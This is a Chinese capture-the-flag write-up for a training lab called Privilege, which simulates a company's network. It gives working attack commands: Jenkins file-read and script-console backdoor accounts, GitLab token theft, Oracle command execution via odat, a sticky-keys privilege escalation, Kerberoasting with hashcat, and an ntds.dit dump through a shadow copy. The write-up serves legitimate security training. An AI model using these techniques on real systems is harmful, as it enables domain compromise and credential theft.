春秋云境 Privilege WP
靶标介绍
在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。
知识点:
- Wordpress
- Gitlab
- Kerberos
- 内网渗透
- Privilege Elevation
flag01
首先 fscan 扫一波
看到备份文件,直接下载,找到了后门,简单分析可以任意文件读取
题目给出了提示如下:
于是构造 payload:
http://121.89.200.150/tools/content-log.php?logfile=C:\ProgramData\Jenkins.jenkins\secrets\initialAdminPassword
成功读取密码,然后登录 Jenkins
访问/scripts,执行如下脚本添加管理员用户:
println 'net user v2i 123456@qwe /add'.execute().text
println 'net localgroup administrators v2i /add'.execute().text
远程连接连上去,获得 flag01
flag02
上传 fscan 到内网,扫一波
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.11:88 open
172.22.14.7:8080 open
172.22.14.16:8060 open
172.22.14.16:9094 open
[*] NetInfo
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetInfo
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] NetInfo
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] NetInfo
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file
简单分析如下:
- 172.22.14.7 已经拿下
- 172.22.14.16 gitlab
- 172.22.14.31 WORKGROUP\XR-ORACLE
- 172.22.14.46 XIAORANG\XR-0923
- 172.22.14.11 DC XIAORANG\XR-DC
第二关给了提示:
所以我们去看文件:C:\ProgramData\Jenkins.jenkins\credentials.xml,从中获取了 gitlab 的密钥
但此时密钥还是加密的,所以要到刚才执行脚本的地方去解密
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
拿到了密钥 glpat-7kD_qLH2PiQv_ywB9hz2,去看看仓库有什么项目
proxychains curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git
在 xradmin 里面找到了数据库的用户名密码。
url: 172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf
利用 odat 执行命令,还是添加管理员用户的操作
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user test2 Abcd1234 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators test2 /add'
远程连接上去,获取 flag02
flag03
上面项目还有一个叫 internal-secret 的,看上去就不一般,下载下来是一些主机对应的用户名和密码
我们扫出来一台 0923 的主机,成功找到用户名和密码
XR-0923 | zhangshuai | wSbEajHzZs
3389 连上去
SeRestorePrivilege 提权
首先看一下账户的权限
目标开了5985 直接用 evil-winrm 即可
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
可以发现再查看用户权限,发现多了一个SeRestorePrivilege
参考文章:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8
这个权限用来实现恢复操作,对当前系统任意文件具有写权限
所以我们尝试劫持 sthc.exe
锁定用户之后,按五下 shift,成功获取 system
拿到 flag03
flag04
这里为了方便操作,上线 msf 得到 hash
Username Domain NTLM SHA1
-------- ------ ---- ----
XR-0923$ XIAORANG feb526f76df5405afde7f1a4b7a223cd be6cf47194f43157bd398e6cf0c76c298ca2e8d7
XR-0923$ XIAORANG 8519c5a89b2cd4d679a5a36f26863e5d 42d8188bc30ff0880b838e368c6e5522b86f978d
zhangshuai XR-0923 f97d5a4b44b11bc257a63c3f76f18a9a f6ff2714d556240436758527e190e329f05cd43d
这里利用机器账户的 hash 去 GetUserSPN,发现 tianjing 用户并且获取其 hash(忘了截图了,但是命令在下面)
proxychains python GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :feb526f76df5405afde7f1a4b7a223cd -dc-ip 172.22.14.11
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :feb526f76df5405afde7f1a4b7a223cd -dc-ip 172.22.14.11 -request-user tianjing
然后利用 hashcat 破解 hash
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
获取账户密码 tianjing:DPQSXSXgh2
使用evil-winrm登录 dc,进行简单信息搜集
卷影拷贝
有备份以及还原文件和目录的权限,尝试导出sam和system。
首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距
unix2dos raj.dsh
接下来上传到靶机,我们在C:/下随便创个目录,上传此文件,然后diskshadow /s raj.dsh
然后复制到当前目录 RoboCopy /b z:\windows\ntds . ntds.dit
然后reg save hklm\system system
备份注册表,再下载到本地
然后利用 impacket-secretsdump 成功获取域管 hash,横向即可获得 flag04